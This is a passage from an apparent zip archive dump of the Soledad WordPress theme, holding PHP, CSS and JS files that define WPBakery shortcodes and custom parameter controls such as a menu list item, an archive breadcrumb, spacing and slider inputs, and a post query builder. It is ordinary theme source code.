	if ( $atts['title_md_fsize'] ) {
		$css_custom .= '@media screen and (min-width: 769px) and (max-width: 1024px){';
		$css_custom .= $id_fancy_heading . '.penci-fancy-heading .penci-heading-title{ font-size: ' . esc_attr( $atts['title_md_fsize'] ) . '; } }';
	}

	if ( $atts['title_sm_fsize'] ) {
		$css_custom .= '@media screen and (min-width: 481px) and (max-width: 768px){';
		$css_custom .= $id_fancy_heading . '.penci-fancy-heading .penci-heading-title{ font-size: ' . esc_attr( $atts['title_sm_fsize'] ) . '; } }';
	}

	if ( $atts['title_xs_fsize'] ) {
		$css_custom .= '@media screen and (max-width: 480px){';
		$css_custom .= $id_fancy_heading . '.penci-fancy-heading .penci-heading-title{ font-size: ' . esc_attr( $atts['title_xs_fsize'] ) . '; } }';
	}

	$css_custom .= Penci_Vc_Helper::vc_google_fonts_parse_attributes( array(
		'font_size'  => $atts['_title_fsize'],
		'font_style' => $atts['_title_typo'],
		'template'   => $id_fancy_heading . ' .penci-heading-title{ %s }',
	) );

	$css_custom .= Penci_Vc_Helper::vc_google_fonts_parse_attributes( array(
		'font_size'  => $atts['_subtitle_fsize'],
		'font_style' => $atts['_subtitle_typo'],
		'template'   => $id_fancy_heading . ' .penci-heading-subtitle{ %s }',
	) );

	$css_custom .= Penci_Vc_Helper::vc_google_fonts_parse_attributes( array(
		'font_size'  => $atts['_desc_fsize'],
		'font_style' => $atts['_desc_typo'],
		'template'   => $id_fancy_heading . ' .penci-heading-content{ %s }',
	) );

	if ( $add_line == 'yes' ) {
		if ( $lines_height ) {
			$css_custom .= $id_fancy_heading . ' .penci-fancy-heading.pc-fctline .inner-tit:before,' . $id_fancy_heading . ' .penci-fancy-heading.pc-fctline .inner-tit:after{height: ' . $lines_height . 'px; margin-top: calc( ' . $lines_height . 'px * -1 / 2 );}';
		}
		if ( $lines_width ) {
			$css_custom .= $id_fancy_heading . ' .penci-fancy-heading.pc-fctline .inner-tit:before,' . $id_fancy_heading . ' .penci-fancy-heading.pc-fctline .inner-tit:after{width: ' . $lines_height . 'px;}';
		}
		if ( $lines_spacing ) {
			$css_custom .= $id_fancy_heading . ' .penci-fancy-heading.pc-fctline .inner-tit{padding-left: ' . $lines_spacing . 'px; padding-right: ' . $lines_spacing . 'px;}';
		}
	}

	if ( $responsive_spacing ) {
		$css_custom .= penci_extract_spacing_style( $id_fancy_heading, $responsive_spacing );
	}

	if ( $css_custom ) {
		echo '<style>';
		echo $css_custom;
		echo '</style>';
	}
	?>
</div>
PK     N\i    :  inc/js_composer/shortcodes/advanced_list_item/settings.phpnu [        <?php

vc_map(
	array(
		'name'            => esc_html__( 'Extra menu list item', 'soledad' ),
		'base'            => 'penci_advanced_list_item',
		'as_child'        => array( 'only' => 'penci_advanced_list' ),
		'content_element' => true,
		'category'        => esc_html__( 'Soledad', 'soledad' ),
		'description'     => esc_html__( 'A link for your extra menu list', 'soledad' ),
		'html_template'   => PENCI_SOLEDAD_DIR . '/inc/js_composer/shortcodes/advanced_list_item/frontend.php',
		'icon'            => PENCI_SOLEDAD_URL . '/images/vc-icon.png',
		'params'          => array(
			/**
			 * Link
			 */
			array(
				'type'             => 'textfield',
				'param_name'       => 'link_divider',
				'heading'          => esc_html__( 'Link', 'soledad' ),
				'value'            => '',
				'edit_field_class' => 'penci-param-heading-wrapper no-top-margin vc_column vc_col-sm-12',
			),
			array(
				'type'             => 'textfield',
				'holder'           => 'div',
				'heading'          => esc_html__( 'Title', 'soledad' ),
				'param_name'       => 'title',
				'edit_field_class' => 'vc_col-sm-6 vc_column',

			),
			array(
				'type'             => 'vc_link',
				'heading'          => esc_html__( 'Link', 'soledad' ),
				'param_name'       => 'link',
				'hint'             => esc_html__( 'Enter URL if you want this parent menu item to have a link.', 'soledad' ),
				'edit_field_class' => 'vc_col-sm-6 vc_column',
			),
			/**
			 * Label
			 */
			array(
				'type'             => 'textfield',
				'param_name'       => 'label_divider',
				'heading'          => esc_html__( 'Label', 'soledad' ),
				'value'            => '',
				'edit_field_class' => 'penci-param-heading-wrapper no-top-margin vc_column vc_col-sm-12',
			),
			array(
				'type'             => 'textfield',
				'heading'          => esc_html__( 'Label text (optional)', 'soledad' ),
				'param_name'       => 'label_text',
				'hint'             => esc_html__( 'Write a label for this menu item badge like “Sale”, “Hot”, “New” etc. Leave empty to not add any badges.', 'soledad' ),
				'edit_field_class' => 'vc_col-sm-6 vc_column',
			),
			array(
				'type'             => 'colorpicker',
				'heading'          => esc_html__( 'Label color', 'soledad' ),
				'param_name'       => 'label',
				'edit_field_class' => 'vc_col-sm-6 vc_column',
			),
			/**
			 * Image
			 */
			array(
				'type'             => 'textfield',
				'param_name'       => 'image_divider',
				'heading'          => esc_html__( 'Image', 'soledad' ),
				'value'            => '',
				'edit_field_class' => 'penci-param-heading-wrapper no-top-margin vc_column vc_col-sm-12',
			),
			array(
				'type'             => 'attach_image',
				'heading'          => esc_html__( 'Image', 'soledad' ),
				'param_name'       => 'image',
				'value'            => '',
				'hint'             => esc_html__( 'Select image from media library.', 'soledad' ),
				'edit_field_class' => 'vc_col-sm-6 vc_column',
			),
			array(
				'type'             => 'textfield',
				'heading'          => esc_html__( 'Image size', 'soledad' ),
				'param_name'       => 'image_size',
				'hint'             => esc_html__( 'Enter image size. Example: \'thumbnail\', \'medium\', \'large\', \'full\' or other sizes defined by current theme. Alternatively enter image size in pixels: 200x100 (Width x Height). Leave empty to use \'thumbnail\' size.', 'soledad' ),
				'edit_field_class' => 'vc_col-sm-6 vc_column',
				'description'      => esc_html__( 'Example: \'thumbnail\', \'medium\', \'large\', \'full\' or enter image size in pixels: \'200x100\'.', 'soledad' ),
			),
			/**
			 * Extra
			 */
			array(
				'type'             => 'textfield',
				'param_name'       => 'extra_divider',
				'heading'          => esc_html__( 'Extra options', 'soledad' ),
				'value'            => '',
				'edit_field_class' => 'penci-param-heading-wrapper no-top-margin vc_column vc_col-sm-12',
			),
			array(
				'type'       => 'textfield',
				'heading'    => esc_html__( 'Extra class name', 'soledad' ),
				'param_name' => 'el_class',
				'hint'       => esc_html__( 'If you wish to style particular content element differently, then use this field to add a class name and then refer to it in your css file.', 'soledad' ),
			),
		),
	)
);
PK     N\]TE  E  :  inc/js_composer/shortcodes/advanced_list_item/frontend.phpnu [        <?php


if ( ! function_exists( 'wpb_getImageBySize' ) ) {
	return;
}
$link   = $title = $image = $image_size = $label = $label_text = $el_class = '';
$output = $class = $label_out = '';
$atts   = vc_map_get_attributes( $this->getShortcode(), $atts );
extract( $atts );

if ( penci_get_menu_label_tag( $label, $label_text ) ) {
	$class .= penci_get_menu_label_class( $label );
}

if ( $el_class ) {
	$class .= ' ' . $el_class;
}

// Image settings.
$image_output = '';
if ( function_exists( 'wpb_getImageBySize' ) && $image ) {
	$img          = wpb_getImageBySize( array(
		'attach_id'  => $image,
		'thumb_size' => $image_size,
		'class'      => 'penci-nav-img'
	) );
	$image_output = isset( $img['thumbnail'] ) ? $img['thumbnail'] : '';
}

?>

<li class="<?php echo esc_attr( $class ); ?>">
    <a <?php echo penci_get_link_attributes( vc_build_link( $link ) ); ?>>
		<?php if ( $image_output ) : ?>
			<?php echo $image_output; ?>
		<?php endif; ?>

		<?php echo wp_kses( $title, penci_allow_html() ); ?>
		<?php echo penci_get_menu_label_tag( $label, $label_text ); ?>
    </a>
</li>

		

PK     N\]zq    =  inc/js_composer/shortcodes/pc_archive_breadcrumb/settings.phpnu [        <?php
$group_icon  = 'Icon';
$group_color = 'Typo & Color';

vc_map( array(
	'base'          => "pc_archive_breadcrumb",
	'icon'          => PENCI_SOLEDAD_URL . '/images/vc-icon.png',
	'category'      => penci_get_theme_name( 'Archive Builder' ),
	'html_template' => PENCI_SOLEDAD_DIR . '/inc/js_composer/shortcodes/pc_archive_breadcrumb/frontend.php',
	'weight'        => 910,
	'name'          => penci_get_theme_name( 'Penci' ) . ' ' . esc_html__( 'Archive Builder - Breadcrumb', 'soledad' ),
	'description'   => 'Archive Builder - Breadcrumb',
	'controls'      => 'full',
	'params'        => array_merge( array(
		array(
			'type'             => 'dropdown',
			'heading'          => esc_html__( 'Breadcrumb Align', 'soledad' ),
			'param_name'       => 'breadcrumb_align',
			'value'            => array(
				'Left'   => 'left',
				'Center' => 'center',
				'Right'  => 'right',
			),
			'edit_field_class' => 'vc_col-sm-6'
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'BreadCrumb Text Color', 'soledad' ),
			'param_name'       => 'breadcrumb-t-color',
			'edit_field_class' => 'vc_col-sm-6'
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'BreadCrumb Text Hover Color', 'soledad' ),
			'param_name'       => 'breadcrumb-t-hcolor',
			'edit_field_class' => 'vc_col-sm-6'
		),
		array(
			'type'             => 'penci_number',
			'heading'          => esc_html__( 'BreadCrumb Spacing', 'soledad' ),
			'param_name'       => 'breadcrumb-spacing',
			'edit_field_class' => 'vc_col-sm-6'
		),
		array(
			'type'       => 'penci_switch',
			'heading'    => __( 'Custom Font Family for Breadcrumb', 'soledad' ),
			'param_name' => 'use_custom_typo',
			'value'      => 'no',
		),
		array(
			'type'       => 'google_fonts',
			'param_name' => 'main_text_font',
			'value'      => '',
			'dependency' => array( 'element' => 'use_custom_typo', 'value' => 'yes' ),
		),
		array(
			'type'       => 'penci_responsive_sizes',
			'param_name' => 'main_text_size',
			'heading'    => __( 'Font Size', 'soledad' ),
			'suffix'     => 'px',
			'min'        => 1,
		),
	), Penci_Vc_Params_Helper::extra_params() )
) );
PK     N\u		  		  =  inc/js_composer/shortcodes/pc_archive_breadcrumb/frontend.phpnu [        <?php
$settings          = vc_map_get_attributes( $this->getShortcode(), $atts );
$sidebar_position  = penci_get_sidebar_position_archive();
$two_sidebar_class = $css_custom = '';
if ( 'two-sidebar' == $sidebar_position ): $two_sidebar_class = ' two-sidebar'; endif;
$yoast_breadcrumb = '';
if ( function_exists( 'yoast_breadcrumb' ) ) {
	$yoast_breadcrumb = yoast_breadcrumb( '<div class="container penci-breadcrumb penci-crumb-inside' . $two_sidebar_class . '">', '</div>', false );
}
$block_id = Penci_Vc_Helper::get_unique_id_block( 'pc_archive_breadcrumb' );
if ( $yoast_breadcrumb ) {
	echo $yoast_breadcrumb;
} else { ?>
    <div id="<?php echo esc_attr( $block_id ); ?>"
         class="<?php echo vc_shortcode_custom_css_class( $settings['css'] ); ?> container penci-breadcrumb penci-crumb-inside">
                            <span><a class="crumb"
                                     href="<?php echo esc_url( home_url( '/' ) ); ?>"><?php echo penci_get_setting( 'penci_trans_home' ); ?></a></span><?php penci_fawesome_icon( 'fas fa-angle-right' ); ?>
		<?php
		echo '<span>';
		echo penci_get_setting( 'penci_trans_archives' );
		echo '</span>';
		?>
    </div>
<?php }
$block_id = '#' . $block_id;
if ( $settings['breadcrumb_align'] ) {
	$css_custom .= $block_id . ' .penci-breadcrumb{text-align:' . $settings['breadcrumb_align'] . '}';
}
if ( $settings['breadcrumb-t-color'] ) {
	$css_custom .= $block_id . ' .penci-breadcrumb *{color:' . $settings['breadcrumb_align'] . '}';
}
if ( $settings['breadcrumb-t-hcolor'] ) {
	$css_custom .= $block_id . ' .penci-breadcrumb a{color:' . $settings['breadcrumb-t-hcolor'] . '}';
}
if ( $settings['breadcrumb-spacing'] ) {
	$css_custom .= $block_id . ' .container.penci-breadcrumb i{margin-left:' . $settings['breadcrumb-spacing'] . 'px;margin-right:calc(' . $settings['breadcrumb-spacing'] . 'px - 4px)}';
}
if ( $settings['responsive_spacing'] ) {
	$css_custom .= penci_extract_spacing_style( $block_id, $settings['responsive_spacing'] );
}
$css_custom .= Penci_Vc_Helper::vc_google_fonts_parse_attributes( array(
	'font_size'  => $settings['main_text_size'],
	'font_style' => $settings['main_text_font'],
	'template'   => $block_id . '  .container.penci-breadcrumb{ %s }',
) );
if ( $css_custom ) {
	echo '<style>';
	echo $css_custom;
	echo '</style>';
}
PK     N\    *  inc/js_composer/params/slider/register.phpnu [        <?php
/**
 * Slider.
 *
 * @package Slider
 */

if ( ! function_exists( 'penci_get_slider_param' ) ) {
	/**
	 * penci slider param.
	 *
	 * @param array $settings Settings.
	 * @param string $value Value.
	 *
	 * @return string
	 */
	function penci_get_slider_param( $settings, $value ) {
		$value = $value ? $value : ( isset( $settings['default'] ) ? $settings['default'] : '' );

		ob_start();

		$param_name        = $settings['param_name'];
		$css_args          = isset( $settings['css_args'] ) ? wp_json_encode( $settings['css_args'] ) : '';
		$css_params        = isset( $settings['css_params'] ) ? wp_json_encode( $settings['css_params'] ) : '';
		$settings['units'] = isset( $settings['units'] ) ? $settings['units'] : 'px';
		?>
        <div class="penci-vc-slider">
            <div class="pc-slider-field"></div>

            <input type="hidden" class="pc-slider-field-value wpb_vc_param_value"
                   name="<?php echo esc_attr( $param_name ); ?>" id="<?php echo esc_attr( $param_name ); ?>"
                   value="<?php echo esc_attr( $value ); ?>"
                   data-min="<?php echo esc_attr( isset( $settings['min'] ) && $settings['min'] ? $settings['min'] : 0 ); ?>"
                   data-max="<?php echo esc_attr( isset( $settings['max'] ) && $settings['max'] ? $settings['max'] : 2000 ); ?>"
                   data-step="<?php echo esc_attr( isset( $settings['step'] ) && $settings['step'] ? $settings['step'] : 1 ); ?>"
                   data-css_params="<?php echo esc_attr( $css_params ); ?>"
                   data-css_args="<?php echo esc_attr( $css_args ); ?>">

            <span class="pc-slider-field-value-display">
				<span class="pc-slider-value-preview"></span>
			</span>

            <span class="pc-slider-units">
				<span class="pc-slider-unit-control pc-active"><?php echo esc_attr( $settings['units'] ); ?></span>
			</span>
        </div>
		<?php
		return ob_get_clean();
	}
}
PK     N\t_%  %  +  inc/js_composer/params/spacing/register.phpnu [        <?php
if ( ! function_exists( 'penci_get_responsive_spacing_param' ) ) {
	function penci_get_responsive_spacing_param( $settings, $value ) {
		ob_start();
		?>
        <div class="vc_css-editor vc_row vc_ui-flex-row pc-responsive-spacing-wrapper">
            <div class="pc-spacing-devices">
				<span class="pc-desktop pc-active" data-value="desktop">
					<span>Desktop</span>
				</span>
                <span class="pc-tablet" data-value="tablet">
					<span>Tablet</span>
				</span>
                <span class="pc-mobile" data-value="mobile">
					<span>Mobile</span>
				</span>
            </div>
			<?php echo penci_get_responsive_spacing_template( 'tablet' ); ?>
			<?php echo penci_get_responsive_spacing_template( 'mobile' ); ?>

            <input type="hidden" name="<?php echo esc_attr( $settings['param_name'] ); ?>"
                   class="wpb_vc_param_value pc-responsive-spacing-value" value="<?php echo esc_attr( $value ); ?>">
        </div>
		<?php
		return ob_get_clean();
	}
}

if ( ! function_exists( 'penci_get_responsive_spacing_template' ) ) {
	function penci_get_responsive_spacing_template( $device ) {
		ob_start();
		?>
        <div class="vc_layout-onion vc_col-xs-7 pc-responsive-spacing" data-device="<?php echo esc_attr( $device ); ?>">
            <div class="vc_margin">
                <label>margin</label>
                <input type="text" name="margin_top" data-name="margin-top" class="vc_top" placeholder="-"
                       data-attribute="margin" value="" aria-label="margin">
                <input type="text" name="margin_right" data-name="margin-right" class="vc_right" placeholder="-"
                       data-attribute="margin" value="" aria-label="margin">
                <input type="text" name="margin_bottom" data-name="margin-bottom" class="vc_bottom" placeholder="-"
                       data-attribute="margin" value="" aria-label="margin">
                <input type="text" name="margin_left" data-name="margin-left" class="vc_left" placeholder="-"
                       data-attribute="margin" value="" aria-label="margin">

                <div class="vc_border">
                    <label>border</label>
                    <input type="text" name="border_top_width" data-name="border-top-width" class="vc_top"
                           placeholder="-" data-attribute="border" value="" aria-label="border">
                    <input type="text" name="border_right_width" data-name="border-right-width" class="vc_right"
                           placeholder="-" data-attribute="border" value="" aria-label="border">
                    <input type="text" name="border_bottom_width" data-name="border-bottom-width" class="vc_bottom"
                           placeholder="-" data-attribute="border" value="" aria-label="border">
                    <input type="text" name="border_left_width" data-name="border-left-width" class="vc_left"
                           placeholder="-" data-attribute="border" value="" aria-label="border">

                    <div class="vc_padding">
                        <label>padding</label>
                        <input type="text" name="padding_top" data-name="padding-top" class="vc_top" placeholder="-"
                               data-attribute="padding" value="" aria-label="padding">
                        <input type="text" name="padding_right" data-name="padding-right" class="vc_right"
                               placeholder="-" data-attribute="padding" value="" aria-label="padding">
                        <input type="text" name="padding_bottom" data-name="padding-bottom" class="vc_bottom"
                               placeholder="-" data-attribute="padding" value="" aria-label="padding">
                        <input type="text" name="padding_left" data-name="padding-left" class="vc_left" placeholder="-"
                               data-attribute="padding" value="" aria-label="padding">
                        <div class="vc_content"><i></i></div>
                    </div>
                </div>
            </div>
        </div>
		<?php
		return ob_get_clean();
	}
}
PK     N\^Њ      +  inc/js_composer/params/number/admin.css.mapnu [        {"version":3,"sourceRoot":"","sources":["admin.scss"],"names":[],"mappings":"AACC;EACC;EACA;;AAED;EACC;EACA;EACA;EACA","file":"admin.css"}PK     N\4Q      (  inc/js_composer/params/number/admin.scssnu [        .vc_edit_form_elements {
	.penci-number-input {
		width: 5em;
		margin-right: 5px;
	}
	.penci-number-suffix {
		width: 5em;
		height: 28px;
		padding: 0 6px;
		vertical-align: top;
	}
}PK     N\^  ^  &  inc/js_composer/params/number/admin.jsnu [        jQuery( function ( $ ) {
	'use strict';

	$( document ).on( 'change', '.penci-number-input, .penci-number-suffix', function () {
		var $number = $( this ).parent(),
			input = $number.find( '.penci-number-input' ).val(),
			unit = $number.find( '.penci-number-suffix' ).val();

		$number.find( '.wpb_vc_param_value' ).val( input + unit );
	} );
} );
PK     N\F      '  inc/js_composer/params/number/admin.cssnu [        .vc_edit_form_elements .penci-number-input {
  width: 5em;
  margin-right: 5px;
}
.vc_edit_form_elements .penci-number-suffix {
  width: 5em;
  height: 28px;
  padding: 0 6px;
  vertical-align: top;
}
PK     N\mr    *  inc/js_composer/params/number/register.phpnu [        <?php
/**
 * Callback for new param 'penci_number'.
 *
 * @param array $settings
 * @param string $value
 *
 * @return string
 */
function penci_vc_param_number( $settings, $value ) {

	$units = array( 'px', 'em', 'rem', '%' );

	$input = $unit  = $prefix = '';

	if ( preg_match( '/(-|)(\d*)(px|em|rem|%)/', $value, $matches ) ) {
		$prefix = $matches[1];
		$input  = $matches[2];
		$unit   = $matches[3];
	}
	$output = '<div class="penci-number">';

	// Hidden input
	$output .= sprintf(
		'<input type="hidden" class="wpb_vc_param_value" name="%s" value="%s">',
		esc_attr( $settings['param_name'] ),
		esc_attr( $value )
	);

	// Input and units
	$output .= sprintf( '<input type="number" class="penci-number-input" value="%s">',  esc_attr( $prefix ) . esc_attr( $input ) );
	$output .= '<select class="penci-number-suffix">';
	foreach ( $units as $v ) {
		$output .= '<option value="' . esc_attr( $v ) . '" ' . selected( $v, $unit, false ) . '>' . esc_html( $v ) . '</option>';
	}
	$output .= '</select>';
	$output .= '</div>';

	return $output;
}PK     N\::    /  inc/js_composer/params/only_number/register.phpnu [        <?php
/**
 * Callback for new param 'penci_only_number'.
 *
 * @param array $settings
 * @param string $value
 *
 * @return string
 */
function penci_vc_param_only_number( $settings, $value ) {
	ob_start();

	$suffix = isset( $settings['suffix'] ) ? esc_attr( $settings['suffix'] ) : '';

	$settings_max    = isset( $settings['max'] ) ? $settings['max'] : '';
	$settings['min'] = isset( $settings['min'] ) ? $settings['min'] : '';
	?>
    <input name="<?php echo esc_attr( $settings['param_name'] ); ?>"
           class="wpb_vc_param_value penci-only-number-input wpb-textinput <?php echo esc_attr( $settings['param_name'] ) . ' ' . esc_attr( $settings['type'] ); ?>_field"
           type="number" min="<?php echo esc_attr( $settings['min'] ); ?>"
           max="<?php echo esc_attr( $settings_max ); ?>"
           value="<?php echo esc_attr( $value ); ?>" /><?php echo $suffix; ?>
	<?php
	return ob_get_clean();
}

PK     N\o!u  u  .  inc/js_composer/params/post_metas/register.phpnu [        <?php
/**
 * Callback for new param 'penci_post_metas'.
 *
 * @param array $settings
 * @param string $value
 *
 * @return string
 */
function penci_vc_param_post_metas( $settings, $value ) {
	$output = '';

	$post_metas = array(
		'pauthor'    => __( 'Author', PENCI_SNORLAX_FW ),
		'pdate'      => __( 'Date', PENCI_SNORLAX_FW ),
		'minread'    => __( 'Min Read', PENCI_SNORLAX_FW ),
		'pcomment'   => __( 'Comments', PENCI_SNORLAX_FW ),
		'pcountview' => __( 'Post Count Views', PENCI_SNORLAX_FW ),
	);

	foreach ( $post_metas as $k => $v ) {
		$checked = '';

		$array_vaule = $value ? explode( ',', $value ) : array();
		if ( $array_vaule && in_array( $k, $array_vaule ) ) {
			$checked = ' checked="checked"';
		}

		$output .= ' <label class="vc_checkbox-label"><input id="'
		           . $settings['param_name'] . '-' . $k . '" value="'
		           . $k . '" class="wpb_vc_param_value '
		           . $settings['param_name']
		           . ' ' . $settings['type']
		           . '" type="checkbox" name="'
		           . $settings['param_name'] . '"' . $checked . '> '
		           . $v . '</label><br>';

	}

	return $output;
}

PK     N\3h[      -  inc/js_composer/params/separator/register.phpnu [        <?php
/**
 * Callback for new param 'penci_separator'.
 *
 * @param array $settings
 * @param string $value
 *
 * @return string
 */
function penci_vc_param_separator( $settings, $value ) {
	return '<hr>';
}

PK     N\A]  A]  (  inc/js_composer/params/loop/register.phpnu [        <?php
if ( ! defined( 'ABSPATH' ) ) {
	die( '-1' );
}

if ( ! function_exists( 'penci_soledad_vc_param_loop' ) ):
	function penci_soledad_vc_param_loop( $settings, $value ) {
		$query_builder = new PenciSoledadLoopSettings( $value );
		$params        = $query_builder->getContent();
		$loop_info     = '';
		if ( is_array( $params ) ) {
			foreach ( $params as $key => $param ) {
				$param_value = penci_soledad_loop_get_value( $param );
				if ( ! empty( $param_value ) ) {
					$loop_info .= ' <b>' . $query_builder->getLabel( $key ) . '</b>: ' . $param_value . ';';
				}
			}
		}

		return '<div class="vc_loop">' . '<input name="' . $settings['param_name'] . '" class="wpb_vc_param_value  ' . $settings['param_name'] . ' ' . $settings['type'] . '_field" type="hidden" value="' . $value . '"/>' . '<a href="#" class="button vc_loop-build ' . $settings['param_name'] . '_button" data-settings="' . rawurlencode( json_encode( $settings['settings'] ) ) . '">' . __( 'Build query', 'soledad' ) . '</a>' . '<div class="vc_loop-info">' . $loop_info . '</div>' . '</div>';
	}
endif;

if ( ! function_exists( 'penci_soledad_loop_get_value' ) ):
	function penci_soledad_loop_get_value( $param ) {
		$value           = array();
		$selected_values = (array) $param['value'];
		if ( isset( $param['options'] ) && is_array( $param['options'] ) ) {
			foreach ( $param['options'] as $option ) {
				if ( is_array( $option ) && isset( $option['value'] ) ) {
					if ( in_array( ( ( '-' === $option['action'] ? '-' : '' ) . $option['value'] ), $selected_values ) ) {
						$value[] = $option['action'] . $option['name'];
					}
				} elseif ( is_array( $option ) && isset( $option[0] ) ) {
					if ( in_array( $option[0], $selected_values ) ) {
						$value[] = $option[1];
					}
				} elseif ( in_array( $option, $selected_values ) ) {
					$value[] = $option;
				}
			}
		} else {
			$value[] = $param['value'];
		}

		return implode( ', ', $value );
	}
endif;


if ( ! class_exists( 'PenciSoledadLoopQueryBuilder' ) ):
	class PenciSoledadLoopQueryBuilder {
		protected $args = array(
			'post_status' => 'publish',
		);

		function __construct( $data ) {
			foreach ( $data as $key => $value ) {
				$method = 'parse_' . $key;
				if ( method_exists( $this, $method ) ) {
					$this->$method( $value );
				}
			}
		}

		protected function parse_size( $value ) {
			$this->args['posts_per_page'] = 'All' === $value ? - 1 : (int) $value;
		}

		protected function parse_offset( $value ) {
			$this->args['offset'] = (int) $value;
		}

		protected function parse_order_by( $value ) {
			switch ( $value ) {
				case 'popular':
					$this->args['meta_key'] = penci_get_postviews_key();
					$this->args['orderby']  = 'meta_value_num';
					$this->args['order']    = 'DESC';
					break;
				case 'popular_day':
					$this->args['meta_key'] = 'penci_post_day_views_count';
					$this->args['orderby']  = 'meta_value_num';
					$this->args['order']    = 'DESC';
					break;
				case 'popular7':
					$this->args['meta_key'] = 'penci_post_week_views_count';
					$this->args['orderby']  = 'meta_value_num';
					$this->args['order']    = 'DESC';
					break;
				case 'popular_month':
					$this->args['meta_key'] = 'penci_post_month_views_count';
					$this->args['orderby']  = 'meta_value_num';
					$this->args['order']    = 'DESC';
					break;
				case 'jetpack':
					$this->args['meta_key'] = '_jetpack_post_view';
					$this->args['orderby']  = 'meta_value_num';
					$this->args['order']    = 'DESC';
					break;
				case 'alphabetical_order':
					$this->args['orderby'] = 'title';
					$this->args['order']   = 'ASC';
					break;
				case 'random_today':
					$this->args['orderby']  = 'rand';
					$this->args['year']     = date( 'Y' );
					$this->args['monthnum'] = date( 'n' );
					$this->args['day']      = date( 'j' );
					break;
				case 'random_7_day':
					$this->args['orderby']    = 'rand';
					$this->args['date_query'] = array(
						'column' => 'post_date_gmt',
						'after'  => '1 week ago'
					);
					break;
				case 'featured_product':
					$this->args['tax_query'][] = array(
						'taxonomy' => 'product_visibility',
						'field'    => 'name',
						'terms'    => 'featured',
						'operator' => 'IN'
					);
					break;
				case 'modified':
					$this->args['orderby'] = 'modified';
					break;
				default:
					$this->args['orderby'] = $value;
			}


		}

		protected function parse_order( $value ) {
			$this->args['order'] = $value;
		}

		protected function parse_post_type( $value ) {
			$this->args['post_type'] = $this->stringToArray( $value );
		}

		protected function parse_authors( $value ) {
			$this->args['author'] = $value;
		}

		protected function parse_categories( $value ) {
			$this->args['cat'] = $value;
		}

		protected function parse_tax_query( $value ) {
			$terms = $this->stringToArray( $value );
			if ( empty( $this->args['tax_query'] ) ) {
				$this->args['tax_query'] = array( 'relation' => 'AND' );
			}
			$negative_term_list = array();
			foreach ( $terms as $term ) {
				if ( (int) $term < 0 ) {
					$negative_term_list[] = abs( $term );
				}
			}

			$not_in = array();
			$in     = array();

			$terms = get_terms( PenciSoledadLoopSettings::getTaxonomies(), array( 'include' => array_map( 'abs', $terms ) ) );
			foreach ( $terms as $t ) {
				if ( in_array( (int) $t->term_id, $negative_term_list ) ) {
					$not_in[ $t->taxonomy ][] = $t->term_id;
				} else {
					$in[ $t->taxonomy ][] = $t->term_id;
				}
			}

			foreach ( $in as $taxonomy => $terms ) {
				$this->args['tax_query'][] = array(
					'field'    => 'term_id',
					'taxonomy' => $taxonomy,
					'terms'    => $terms,
					'operator' => 'IN',
				);
			}
			foreach ( $not_in as $taxonomy => $terms ) {
				$this->args['tax_query'][] = array(
					'field'    => 'term_id',
					'taxonomy' => $taxonomy,
					'terms'    => $terms,
					'operator' => 'NOT IN',
				);
			}
		}

		protected function parse_tags( $value ) {
			$in       = $not_in = array();
			$tags_ids = $this->stringToArray( $value );
			foreach ( $tags_ids as $tag ) {
				$tag = (int) $tag;
				if ( $tag < 0 ) {
					$not_in[] = abs( $tag );
				} else {
					$in[] = $tag;
				}
			}
			$this->args['tag__in']     = $in;
			$this->args['tag__not_in'] = $not_in;
		}

		protected function parse_by_id( $value ) {
			$in  = $not_in = array();
			$ids = $this->stringToArray( $value );
			foreach ( $ids as $id ) {
				$id = (int) $id;
				if ( $id < 0 ) {
					$not_in[] = abs( $id );
				} else {
					$in[] = $id;
				}
			}
			$this->args['post__in']     = $in;
			$this->args['post__not_in'] = $not_in;
		}

		public function excludeId( $id ) {
			if ( ! isset( $this->args['post__not_in'] ) ) {
				$this->args['post__not_in'] = array();
			}
			if ( is_array( $id ) ) {
				$this->args['post__not_in'] = array_merge( $this->args['post__not_in'], $id );
			} else {
				$this->args['post__not_in'][] = $id;
			}
		}

		protected function stringToArray( $value ) {
			$valid_values = array();
			$list         = preg_split( '/\,[\s]*/', $value );
			foreach ( $list as $v ) {
				if ( strlen( $v ) > 0 ) {
					$valid_values[] = $v;
				}
			}

			return $valid_values;
		}

		public function build() {
			return array( $this->args, new WP_Query( $this->args ) );
		}

		public function build_args() {
			return $this->args;
		}
	}
endif;


if ( ! class_exists( 'PenciSoledadLoopSettings' ) ):
	class PenciSoledadLoopSettings {
		protected $content = array();

		protected $parts;

		public $settings;

		public $query_parts = array(
			'post_type',
			'size',
			'offset',
			'order_by',
			'order',
			'authors',
			'categories',
			'tags',
			'tax_query',
			'by_id',
		);

		function __construct( $value, $settings = array() ) {
			$this->parts = array(
				'size'       => __( 'Post count', 'soledad' ),
				'offset'     => __( 'Post offset', 'soledad' ),
				'order_by'   => __( 'Order by', 'soledad' ),
				'order'      => __( 'Sort order', 'soledad' ),
				'post_type'  => __( 'Post types', 'soledad' ),
				'authors'    => __( 'Author', 'soledad' ),
				'categories' => __( 'Categories', 'soledad' ),
				'tags'       => __( 'Tags', 'soledad' ),
				'tax_query'  => __( 'Taxonomies', 'soledad' ),
				'by_id'      => __( 'Individual posts/pages', 'soledad' ),
			);

			$this->settings = $settings;

			$data = $this->parseData( $value );
			foreach ( $this->query_parts as $part ) {
				$value  = isset( $data[ $part ] ) ? $data[ $part ] : '';
				$locked = 'true' === $this->getSettings( $part, 'locked' );

				if ( ! is_null( $this->getSettings( $part, 'value' ) ) && $this->replaceLockedValue( $part ) && ( true === $locked || 0 === strlen( (string) $value ) ) ) {
					$value = $this->settings[ $part ]['value'];
				} elseif ( ! is_null( $this->getSettings( $part, 'value' ) ) && ! $this->replaceLockedValue( $part ) && ( true === $locked || 0 === strlen( (string) $value ) ) ) {
					$value = implode( ',', array_unique( explode( ',', $value . ',' . $this->settings[ $part ]['value'] ) ) );
				}

				if ( method_exists( $this, 'parse_' . $part ) ) {
					$method                 = 'parse_' . $part;
					$this->content[ $part ] = $this->$method( $value );
				} else {
					$this->content[ $part ] = $this->parseString( $value );
				}

				if ( $locked ) {
					$this->content[ $part ]['locked'] = true;
				}

				if ( 'true' === $this->getSettings( $part, 'hidden' ) ) {
					$this->content[ $part ]['hidden'] = true;
				}
			}
		}

		protected function replaceLockedValue( $part ) {
			return in_array( $part, array( 'size', 'order_by', 'order' ) );
		}

		public function getLabel( $key ) {
			return isset( $this->parts[ $key ] ) ? $this->parts[ $key ] : $key;
		}

